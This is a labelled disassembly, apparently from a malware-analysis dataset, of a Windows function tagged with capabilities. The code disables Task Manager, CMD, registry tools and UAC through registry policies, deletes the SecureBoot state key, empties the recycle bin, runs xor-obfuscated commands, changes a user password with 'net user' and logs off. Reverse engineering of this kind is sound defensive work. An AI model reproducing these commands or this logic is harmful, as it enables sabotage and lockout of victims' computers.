Function at 0x44dc30
Capabilities:
Contain obfuscated stackstrings
Disable system features via registry on windows
Empty the recycle bin
Encode data using xor
Execute command
Query or enumerate registry value
Set registry value
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4761be
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x850
mov eax, dword [0x49400c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0xfffffffffffffff5
call esi
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push eax
call edi
movaps xmm0, xmmword [0x48b600]
xor ecx, ecx
movups xmmword [ebp - 0x5e0], xmm0
mov dword [ebp - 0x580], 0x2e2b6833
movaps xmm0, xmmword [0x48a490]
movups xmmword [ebp - 0x5d0], xmm0
mov dword [ebp - 0x57c], 0x76772c29
movaps xmm0, xmmword [str.vsu3_b]
movups xmmword [ebp - 0x5c0], xmm0
mov dword [ebp - 0x578], 0x333f3369
movaps xmm0, xmmword [0x489ed0]
movups xmmword [ebp - 0x5b0], xmm0
mov byte [ebp - 0x574], 0
movaps xmm0, xmmword [0x48b800]
movups xmmword [ebp - 0x5a0], xmm0
movaps xmm0, xmmword [0x48a4e0]
movups xmmword [ebp - 0x590], xmm0
mov al, byte [ebp - 0x5e0]
xor byte [ebp + ecx - 0x5df], al
inc ecx
cmp ecx, 0x6b
jb 0x44dd01
lea eax, [ebp - 0x5df]
mov byte [ebp - 0x574], 0
push eax
lea ecx, [ebp - 0x830]
call fcn.004666f0
push 1
lea edx, [ebp - 0x830]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1d8]
call fcn.0043e140
add esp, 4
lea ecx, [ebp - 0x830]
mov byte [ebp - 4], 2
call fcn.004665d0
push 0xb0
lea ecx, [ebp - 0x2d0]
call fcn.0044c210
push 1
push 3
lea eax, [ebp - 0x1d8]
push eax
lea ecx, [ebp - 0x2d0]
call fcn.00466200
lea ecx, [ebp - 0x220]
call fcn.004667f0
push 0
push 0xfffffffffffffff5
mov byte [ebp - 4], 4
call esi
push eax
call edi
lea ecx, [ebp - 0x860]
call fcn.0043d500
mov esi, eax
mov byte [ebp - 4], 5
mov cl, 0x26
mov byte [ebp - 0x30c], 0x64
mov al, 0xf
xor cl, byte [ebp - 0x30c]
mov dl, 8
mov byte [ebp - 0x30b], cl
mov ah, dl
mov cl, byte [ebp - 0x30c]
mov ch, 5
xor al, cl
mov byte [ebp - 0x2ff], 0xd
mov byte [ebp - 0x307], al
xor ah, cl
mov al, byte [ebp - 0x2ff]
xor ch, cl
xor al, cl
mov byte [ebp - 0x2fe], 0x17
mov byte [ebp - 0x305], al
mov dh, 7
mov al, byte [ebp - 0x2fe]
xor dl, cl
xor al, cl
mov byte [ebp - 0x2fd], 0x10
mov byte [ebp - 0x304], al
xor dh, cl
mov al, byte [ebp - 0x2fd]
xor al, cl
mov byte [ebp - 0x306], ah
mov byte [ebp - 0x303], al
lea eax, [ebp - 0x30b]
mov byte [ebp - 0x309], ch
lea ecx, [ebp - 0x7e8]
mov byte [ebp - 0x302], 0
push eax
mov byte [ebp - 0x30a], dl
mov byte [ebp - 0x308], dh
mov byte [ebp - 0x302], 0
call fcn.004666f0
mov byte [ebp - 4], 6
movaps xmm0, xmmword [0x48add0]
xor ecx, ecx
movups xmmword [ebp - 0x6e0], xmm0
mov dword [ebp - 0x670], 0x4717466b
movaps xmm0, xmmword [0x48acd0]
movups xmmword [ebp - 0x6d0], xmm0
mov dword [ebp - 0x66c], 0x7e681942
movaps xmm0, xmmword [0x489c00]
movups xmmword [ebp - 0x6c0], xmm0
mov word [ebp - 0x668], 0x6763
movaps xmm0, xmmword [0x48b180]
movups xmmword [ebp - 0x6b0], xmm0
mov byte [ebp - 0x666], 0
movaps xmm0, xmmword [0x48b570]
movups xmmword [ebp - 0x6a0], xmm0
movaps xmm0, xmmword [0x48ac10]
movups xmmword [ebp - 0x690], xmm0
movaps xmm0, xmmword [0x489de0]
movups xmmword [ebp - 0x680], xmm0
mov al, byte [ebp - 0x6e0]
xor byte [ebp + ecx - 0x6df], al
inc ecx
cmp ecx, 0x79
jb 0x44dee0
lea eax, [ebp - 0x6df]
mov byte [ebp - 0x666], 0
push eax
lea ecx, [ebp - 0x848]
call fcn.004666f0
push esi
lea edx, [ebp - 0x7e8]
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x848]
call fcn.00443490
add esp, 4
lea ecx, [ebp - 0x848]
call fcn.004665d0
lea ecx, [ebp - 0x7e8]
call fcn.004665d0
lea ecx, [ebp - 0x860]
mov byte [ebp - 4], 4
call fcn.004665d0
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
call fcn.0044ad10
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.reg_delete_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecureBootState
call esi
add esp, 4
push str.reg_delete_HKLMSYSTEMCurrentControlSetControlSecureBootState
call esi
add esp, 4
call fcn.0044cc30
movups xmm0, xmmword [str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer]
mov eax, dword [0x4870f4]
mov dword [ebp - 0x158], eax
mov eax, dword [0x487100]
movups xmmword [ebp - 0x190], xmm0
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2f4]
movups xmm0, xmmword [0x4870cc]
push eax
push 0xf003f
movups xmmword [ebp - 0x180], xmm0
push 0
movups xmm0, xmmword [0x4870dc]
lea eax, [ebp - 0x190]
mov dword [ebp - 0x1a8], 1
push eax
movups xmmword [ebp - 0x170], xmm0
push 0x80000001
movq xmm0, qword [0x4870ec]
movq qword [ebp - 0x160], xmm0
movq xmm0, qword [str.DisallowRun]
movq qword [ebp - 0x34], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x44e042
push 4
lea eax, [ebp - 0x1a8]
push eax
push 4
push 0
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x2f4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x2f4]
call edi
movups xmm0, xmmword [str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem]
movzx eax, word [0x48713c]
mov word [ebp - 0x68], ax
movzx eax, word [0x487158]
movups xmmword [ebp - 0xa0], xmm0
mov word [ebp - 0x4c], ax
movups xmm0, xmmword [0x487114]
mov al, byte [0x48715a]
mov byte [ebp - 0x4a], al
lea eax, [ebp - 0x2f0]
movups xmmword [ebp - 0x90], xmm0
push eax
movups xmm0, xmmword [0x487124]
push 0xf003f
push 0
movups xmmword [ebp - 0x80], xmm0
lea eax, [ebp - 0xa0]
mov dword [ebp - 0x1ac], 0
movq xmm0, qword [0x487134]
movq qword [ebp - 0x70], xmm0
movups xmm0, xmmword [str.ConsentPromptBehaviorAdmin]
push eax
push 0x80000002
movups xmmword [ebp - 0x64], xmm0
movq xmm0, qword [0x487150]
movq qword [ebp - 0x54], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44e0ff
push 4
lea eax, [ebp - 0x1ac]
push eax
push 4
push 0
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x2f0]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x2f0]
call edi
push str.SOFTWAREPoliciesMicrosoftWindowsSaferCodeIdentifiers0_
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x1b0], 0x40000
call fcn.004666f0
push str.SaferFlags
lea ecx, [ebp - 0x208]
mov byte [ebp - 4], 8
call fcn.004666f0
push 0
lea eax, [ebp - 0x2ec]
mov byte [ebp - 4], 9
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea ecx, [ebp - 0x1f0]
call fcn.00466330
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x44e1b7
lea ecx, [ebp - 0x208]
call fcn.00466330
push 4
lea ecx, [ebp - 0x1b0]
push ecx
push 4
push 0
push eax
push dword [ebp - 0x2ec]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.A_execucao_de_aplicativos_foi_desativada_com_sucesso.
test eax, eax
je 0x44e19b
mov edx, str.Erro_ao_definir_o_valor_da_chave_de_registro.
call fcn.004681e0
push 0x4681b0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [ebp - 0x2ec]
call edi
jmp 0x44e1d4
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Erro_ao_criar_a_chave_de_registro.
call fcn.004681e0
push 0x4681b0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [0x48726c]
movups xmm0, xmmword [str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer]
mov dword [ebp - 0x11c], eax
mov eax, dword [str.NoRun]
mov dword [ebp - 0x1c], eax
mov ax, word [0x487274]
movups xmmword [ebp - 0x154], xmm0
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x2e8]
movups xmm0, xmmword [0x487244]
push eax
push 0xf003f
movups xmmword [ebp - 0x144], xmm0
push 0
movups xmm0, xmmword [0x487254]
lea eax, [ebp - 0x154]
mov dword [ebp - 0x198], 1
push eax
movups xmmword [ebp - 0x134], xmm0
push 0x80000001
movq xmm0, qword [0x487264]
movq qword [ebp - 0x124], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44e27e
push 4
lea eax, [ebp - 0x198]
push eax
push 4
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x2e8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x2e8]
call edi
movups xmm0, xmmword [str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem]
movzx eax, word [0x48713c]
mov word [ebp - 0xa4], ax
movzx eax, word [0x487288]
movups xmmword [ebp - 0xdc], xmm0
mov word [ebp - 0x38], ax
movups xmm0, xmmword [0x487114]
mov al, byte [0x48728a]
mov byte [ebp - 0x36], al
lea eax, [ebp - 0x2e4]
movups xmmword [ebp - 0xcc], xmm0
push eax
movups xmm0, xmmword [0x487124]
push 0xf003f
push 0
movups xmmword [ebp - 0xbc], xmm0
lea eax, [ebp - 0xdc]
mov dword [ebp - 0x194], 1
movq xmm0, qword [0x487134]
movq qword [ebp - 0xac], xmm0
movups xmm0, xmmword [str.NoDispSettingsPage]
push eax
push 0x80000001
movups xmmword [ebp - 0x48], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44e337
push 4
lea eax, [ebp - 0x194]
push eax
push 4
push 0
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x2e4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x2e4]
call edi
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x1b8], 1
push eax
push 0xf003f
push 0
push str.SoftwarePoliciesMicrosoftWindowsSystem
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 4
lea eax, [ebp - 0x1b8]
push eax
push 4
push 0
push str.DisableCMD
push dword [ebp - 0x2d8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x44e389
push dword [ebp - 0x2d8]
call edi
push dword [ebp - 0x2d8]
call edi
push str.O_cmd_foi_desabilitado_com_sucesso.
call fcn.0043c050
movups xmm0, xmmword [str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem]
movzx eax, word [0x48713c]
add esp, 4
mov word [ebp - 0xe0], ax
movzx eax, word [0x4872f0]
movups xmmword [ebp - 0x118], xmm0
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x2e0]
movups xmm0, xmmword [0x487114]
push eax
push 0xf003f
movups xmmword [ebp - 0x108], xmm0
push 0
movups xmm0, xmmword [0x487124]
lea eax, [ebp - 0x118]
mov dword [ebp - 0x1bc], 0
push eax
movups xmmword [ebp - 0xf8], xmm0
push 0x80000002
movq xmm0, qword [0x487134]
movq qword [ebp - 0xe8], xmm0
movq xmm0, qword [str.EnableLUA]
movq qword [ebp - 0x28], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44e451
push 4
lea eax, [ebp - 0x1bc]
push eax
push 4
push 0
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x2e0]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x2e0]
call edi
push str.powershell__Command__Disable_WindowsOptionalFeature__Online__FeatureName_Microsoft_Windows_Subsystem_Linux_
call esi
add esp, 4
mov dword [ebp - 0x1c0], 1
lea eax, [ebp - 0x2fc]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44e4ad
push 4
lea eax, [ebp - 0x1c0]
push eax
push 4
push 0
push str.DisableRegistryTools
push dword [ebp - 0x2fc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x2fc]
call edi
lea eax, [ebp - 0x2f8]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44e4ff
push 4
lea eax, [ebp - 0x19c]
mov dword [ebp - 0x19c], 1
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0x2f8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x2f8]
call edi
push 3
push 0
push 1
push 0x61
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
lea eax, [ebp - 0x2d4]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44e587
push 4
lea eax, [ebp - 0x1b4]
mov dword [ebp - 0x1b4], 1
push eax
push 4
push 0
push str.DisallowRun
push dword [ebp - 0x2d4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x44e57f
mov dword [ebp - 0x1a4], eax
lea eax, [ebp - 0x1a4]
push eax
push 0
push 0
push 0
push str.DisallowRun
push dword [ebp - 0x2d4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x2d4]
call edi
movaps xmm0, xmmword [0x48b550]
xor ecx, ecx
movups xmmword [ebp - 0x39c], xmm0
mov dword [ebp - 0x38c], 0x7d7e7e45
mov word [ebp - 0x388], 0x62
nop word [eax + eax]
mov al, byte [ebp - 0x39c]
xor byte [ebp + ecx - 0x39b], al
inc ecx
cmp ecx, 0x14
jb 0x44e5b0
lea eax, [ebp - 0x2dc]
mov byte [ebp - 0x387], 0
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
mov dword [ebp - 0x1a0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 4
lea eax, [ebp - 0x1a0]
push eax
push 4
push 0
lea eax, [ebp - 0x39b]
push eax
push dword [ebp - 0x2dc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x44e61e
push dword [ebp - 0x2dc]
call edi
push dword [ebp - 0x2dc]
call edi
movaps xmm0, xmmword [0x48ac50]
xor ecx, ecx
movups xmmword [ebp - 0x570], xmm0
mov dword [ebp - 0x520], 0xf100111
movaps xmm0, xmmword [0x4895d0]
movups xmmword [ebp - 0x560], xmm0
mov dword [ebp - 0x51c], 0xf120f13
movaps xmm0, xmmword [0x48ac40]
movups xmmword [ebp - 0x550], xmm0
mov word [ebp - 0x518], 0x15
movaps xmm0, xmmword [0x489920]
movups xmmword [ebp - 0x540], xmm0
movaps xmm0, xmmword [0x4898e0]
movups xmmword [ebp - 0x530], xmm0
nop dword [eax + eax]
mov al, byte [ebp - 0x570]
xor byte [ebp + ecx - 0x56f], al
inc ecx
cmp ecx, 0x58
jb 0x44e690
lea eax, [ebp - 0x56f]
mov byte [ebp - 0x517], 0
push eax
call esi
movaps xmm0, xmmword [0x48a560]
add esp, 4
movups xmmword [ebp - 0x50c], xmm0
xor ecx, ecx
mov byte [ebp - 0x4ec], 0
movaps xmm0, xmmword [0x489f20]
movups xmmword [ebp - 0x4fc], xmm0
nop dword [eax + eax]
mov al, byte [ebp - 0x50c]
xor byte [ebp + ecx - 0x50b], al
inc ecx
cmp ecx, 0x1f
jb 0x44e6e0
lea eax, [ebp - 0x50b]
mov byte [ebp - 0x4ec], 0
push eax
call esi
movaps xmm0, xmmword [0x48b920]
add esp, 4
movups xmmword [ebp - 0x600], xmm0
xor ecx, ecx
movaps xmm0, xmmword [str._pawvkv3_3f]
movups xmmword [ebp - 0x5f0], xmm0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp - 0x600]
xor byte [ebp + ecx - 0x5ff], al
inc ecx
cmp ecx, 0x1e
jb 0x44e730
lea eax, [ebp - 0x5ff]
mov byte [ebp - 0x5e1], 0
push eax
call esi
movaps xmm0, xmmword [0x48aef0]
add esp, 4
movups xmmword [ebp - 0x620], xmm0
xor ecx, ecx
movaps xmm0, xmmword [str.UEITB_bCC]
movups xmmword [ebp - 0x610], xmm0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp - 0x620]
xor byte [ebp + ecx - 0x61f], al
inc ecx
cmp ecx, 0x1e
jb 0x44e780
lea eax, [ebp - 0x61f]
mov byte [ebp - 0x601], 0
push eax
call esi
movaps xmm0, xmmword [0x489c90]
add esp, 4
movups xmmword [ebp - 0x32c], xmm0
mov dword [ebp - 0x31c], 0x5f290602
xor ecx, ecx
mov dword [ebp - 0x318], 0x4b555f5b
mov dword [ebp - 0x314], 0x19001b55
mov byte [ebp - 0x310], 0
nop dword [eax + eax]
mov al, byte [ebp - 0x32c]
xor byte [ebp + ecx - 0x32b], al
inc ecx
cmp ecx, 0x1b
jb 0x44e7e0
lea eax, [ebp - 0x32b]
mov byte [ebp - 0x310], 0
push eax
call esi
movaps xmm0, xmmword [0x48a880]
add esp, 4
movups xmmword [ebp - 0x3e0], xmm0
xor ecx, ecx
mov dword [ebp - 0x3c0], 0x103c2338
movaps xmm0, xmmword [0x48a0f0]
movups xmmword [ebp - 0x3d0], xmm0
mov dword [ebp - 0x3bc], 0x6c666266
mov dword [ebp - 0x3b8], 0x39226c72
mov word [ebp - 0x3b4], 0x20
nop dword [eax + eax]
mov al, byte [ebp - 0x3e0]
xor byte [ebp + ecx - 0x3df], al
inc ecx
cmp ecx, 0x2c
jb 0x44e850
lea eax, [ebp - 0x3df]
mov byte [ebp - 0x3b3], 0
push eax
call esi
movaps xmm0, xmmword [0x48b5e0]
add esp, 4
movups xmmword [ebp - 0x710], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x48b7d0]
movups xmmword [ebp - 0x700], xmm0
movaps xmm0, xmmword [str.vuiF040:_:tov]
movups xmmword [ebp - 0x6f0], xmm0
mov al, byte [ebp - 0x710]
xor byte [ebp + ecx - 0x70f], al
inc ecx
cmp ecx, 0x2e
jb 0x44e8a2
lea eax, [ebp - 0x70f]
mov byte [ebp - 0x6e1], 0
push eax
call esi
movaps xmm0, xmmword [0x48b2b0]
add esp, 4
movups xmmword [ebp - 0x740], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x48b140]
movups xmmword [ebp - 0x730], xmm0
movaps xmm0, xmmword [str._HCYq_a]
movups xmmword [ebp - 0x720], xmm0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp - 0x740]
xor byte [ebp + ecx - 0x73f], al
inc ecx
cmp ecx, 0x2e
jb 0x44e900
lea eax, [ebp - 0x73f]
mov byte [ebp - 0x711], 0
push eax
call esi
movaps xmm0, xmmword [0x4896a0]
add esp, 4
movups xmmword [ebp - 0x410], xmm0
xor ecx, ecx
mov dword [ebp - 0x3f0], 0x28150015
movaps xmm0, xmmword [0x48a340]
movups xmmword [ebp - 0x400], xmm0
mov dword [ebp - 0x3ec], 0x545e5a5e
mov dword [ebp - 0x3e8], 0x11a544a
mov word [ebp - 0x3e4], 0x18
nop dword [eax + eax]
mov al, byte [ebp - 0x410]
xor byte [ebp + ecx - 0x40f], al
inc ecx
cmp ecx, 0x2c
jb 0x44e970
lea eax, [ebp - 0x40f]
mov byte [ebp - 0x3e3], 0
push eax
call esi
movaps xmm0, xmmword [0x48a740]
add esp, 4
movups xmmword [ebp - 0x368], xmm0
mov dword [ebp - 0x358], 0x29373d39
xor ecx, ecx
mov dword [ebp - 0x354], 0x7b627937
mov byte [ebp - 0x350], 0
mov al, byte [ebp - 0x368]
xor byte [ebp + ecx - 0x367], al
inc ecx
cmp ecx, 0x17
jb 0x44e9c1
lea eax, [ebp - 0x367]
mov byte [ebp - 0x350], 0
push eax
call esi
movaps xmm0, xmmword [0x489be0]
add esp, 4
movups xmmword [ebp - 0x640], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x4893d0]
movups xmmword [ebp - 0x630], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x640]
xor byte [ebp + ecx - 0x63f], al
inc ecx
cmp ecx, 0x1e
jb 0x44ea10
lea eax, [ebp - 0x63f]
mov byte [ebp - 0x621], 0
push eax
call esi
movaps xmm0, xmmword [0x48b650]
add esp, 4
movups xmmword [ebp - 0x4c0], xmm0
xor ecx, ecx
mov dword [ebp - 0x4a0], 0x716a243a
movaps xmm0, xmmword [0x489ff0]
movups xmmword [ebp - 0x4b0], xmm0
mov word [ebp - 0x49c], 0x68
nop word [eax + eax]
mov al, byte [ebp - 0x4c0]
xor byte [ebp + ecx - 0x4bf], al
inc ecx
cmp ecx, 0x24
jb 0x44ea70
lea eax, [ebp - 0x4bf]
mov byte [ebp - 0x49b], 0
push eax
call esi
movaps xmm0, xmmword [0x48a530]
add esp, 4
movups xmmword [ebp - 0x484], xmm0
mov word [ebp - 0x474], 0x25
xor ecx, ecx
nop
mov al, byte [ebp - 0x484]
xor byte [ebp + ecx - 0x483], al
inc ecx
cmp ecx, 0x10
jb 0x44eab0
lea eax, [ebp - 0x483]
mov byte [ebp - 0x473], 0
push eax
call esi
movaps xmm0, xmmword [0x48ada0]
add esp, 4
movups xmmword [ebp - 0x3b0], xmm0
mov dword [ebp - 0x3a0], 0x21f02
xor ecx, ecx
mov al, byte [ebp - 0x3b0]
xor byte [ebp + ecx - 0x3af], al
inc ecx
cmp ecx, 0x12
jb 0x44eaf0
lea eax, [ebp - 0x3af]
mov byte [ebp - 0x39d], 0
push eax
lea ecx, [ebp - 0x818]
call fcn.004666f0
mov byte [ebp - 4], 0xa
xor ecx, ecx
movaps xmm0, xmmword [0x48a410]
movups xmmword [ebp - 0x498], xmm0
mov byte [ebp - 0x488], 0
nop word [eax + eax]
mov al, byte [ebp - 0x498]
xor byte [ebp + ecx - 0x497], al
inc ecx
cmp ecx, 0xf
jb 0x44eb40
lea eax, [ebp - 0x497]
mov byte [ebp - 0x488], 0
push eax
lea ecx, [ebp - 0x800]
call fcn.004666f0
lea eax, [ebp - 0x818]
mov byte [ebp - 4], 0xb
push eax
lea edx, [ebp - 0x800]
lea ecx, [ebp - 0x1d8]
call fcn.0043d520
add esp, 4
lea ecx, [ebp - 0x800]
call fcn.004665d0
lea ecx, [ebp - 0x818]
call fcn.004665d0
movaps xmm0, xmmword [0x48af30]
xor ecx, ecx
movups xmmword [ebp - 0x770], xmm0
movaps xmm0, xmmword [0x48b610]
movups xmmword [ebp - 0x760], xmm0
movaps xmm0, xmmword [str.IGBCT_bCC]
movups xmmword [ebp - 0x750], xmm0
nop dword [eax]
mov al, byte [ebp - 0x770]
xor byte [ebp + ecx - 0x76f], al
inc ecx
cmp ecx, 0x2e
jb 0x44ebd0
lea eax, [ebp - 0x76f]
mov byte [ebp - 0x741], 0
push eax
call esi
movaps xmm0, xmmword [0x48ad50]
add esp, 4
movups xmmword [ebp - 0x34c], xmm0
mov dword [ebp - 0x33c], 0x2745b5f
xor ecx, ecx
mov dword [ebp - 0x338], 0x16080206
mov dword [ebp - 0x334], 0x445d4608
mov byte [ebp - 0x330], 0
nop dword [eax + eax]
mov al, byte [ebp - 0x34c]
xor byte [ebp + ecx - 0x34b], al
inc ecx
cmp ecx, 0x1b
jb 0x44ec30
lea eax, [ebp - 0x34b]
mov byte [ebp - 0x330], 0
push eax
call esi
movaps xmm0, xmmword [0x48a440]
add esp, 4
movups xmmword [ebp - 0x440], xmm0
xor ecx, ecx
mov dword [ebp - 0x420], 0x1d312e35
movaps xmm0, xmmword [0x48a1a0]
movups xmmword [ebp - 0x430], xmm0
mov dword [ebp - 0x41c], 0x616b6f6b
mov dword [ebp - 0x418], 0x342f617f
mov word [ebp - 0x414], 0x2d
nop dword [eax + eax]
mov al, byte [ebp - 0x440]
xor byte [ebp + ecx - 0x43f], al
inc ecx
cmp ecx, 0x2c
jb 0x44eca0
lea eax, [ebp - 0x43f]
mov byte [ebp - 0x413], 0
push eax
call esi
movaps xmm0, xmmword [0x489da0]
add esp, 4
movups xmmword [ebp - 0x7a0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x4895c0]
movups xmmword [ebp - 0x790], xmm0
movaps xmm0, xmmword [0x489380]
movups xmmword [ebp - 0x780], xmm0
mov al, byte [ebp - 0x7a0]
xor byte [ebp + ecx - 0x79f], al
inc ecx
cmp ecx, 0x2e
jb 0x44ecf2
lea eax, [ebp - 0x79f]
mov byte [ebp - 0x771], 0
push eax
call esi
movaps xmm0, xmmword [0x48b660]
add esp, 4
movups xmmword [ebp - 0x7d0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x48b690]
movups xmmword [ebp - 0x7c0], xmm0
movaps xmm0, xmmword [str.uvlkD26288vmt]
movups xmmword [ebp - 0x7b0], xmm0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp - 0x7d0]
xor byte [ebp + ecx - 0x7cf], al
inc ecx
cmp ecx, 0x2e
jb 0x44ed50
lea eax, [ebp - 0x7cf]
mov byte [ebp - 0x7a1], 0
push eax
call esi
movaps xmm0, xmmword [0x4897b0]
add esp, 4
movups xmmword [ebp - 0x470], xmm0
xor ecx, ecx
mov dword [ebp - 0x450], 0x24190c19
movaps xmm0, xmmword [0x48a6c0]
movups xmmword [ebp - 0x460], xmm0
mov dword [ebp - 0x44c], 0x58525652
mov dword [ebp - 0x448], 0xd165846
mov word [ebp - 0x444], 0x14
nop dword [eax + eax]
mov al, byte [ebp - 0x470]
xor byte [ebp + ecx - 0x46f], al
inc ecx
cmp ecx, 0x2c
jb 0x44edc0
lea eax, [ebp - 0x46f]
mov byte [ebp - 0x443], 0
push eax
call esi
movaps xmm0, xmmword [0x48b670]
add esp, 4
movups xmmword [ebp - 0x384], xmm0
mov dword [ebp - 0x374], 0x78666c68
xor ecx, ecx
mov dword [ebp - 0x370], 0x2a332866
mov byte [ebp - 0x36c], 0
mov al, byte [ebp - 0x384]
xor byte [ebp + ecx - 0x383], al
inc ecx
cmp ecx, 0x17
jb 0x44ee11
lea eax, [ebp - 0x383]
mov byte [ebp - 0x36c], 0
push eax
call esi
movaps xmm0, xmmword [0x48b5d0]
add esp, 4
movups xmmword [ebp - 0x660], xmm0
xor ecx, ecx
movaps xmm0, xmmword [str._epe_X.._:_jqh]
movups xmmword [ebp - 0x650], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x660]
xor byte [ebp + ecx - 0x65f], al
inc ecx
cmp ecx, 0x1e
jb 0x44ee60
lea eax, [ebp - 0x65f]
mov byte [ebp - 0x641], 0
push eax
call esi
movaps xmm0, xmmword [0x48a0d0]
add esp, 4
movups xmmword [ebp - 0x4e8], xmm0
xor ecx, ecx
mov dword [ebp - 0x4c8], 0x3d266876
movaps xmm0, xmmword [0x48b540]
movups xmmword [ebp - 0x4d8], xmm0
mov word [ebp - 0x4c4], 0x24
nop word [eax + eax]
mov al, byte [ebp - 0x4e8]
xor byte [ebp + ecx - 0x4e7], al
inc ecx
cmp ecx, 0x24
jb 0x44eec0
lea eax, [ebp - 0x4e7]
mov byte [ebp - 0x4c3], 0
push eax
call esi
add esp, 4
push str.net_user__username__05a69d
call esi
add esp, 4
push str.logoff
call esi
add esp, 4
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3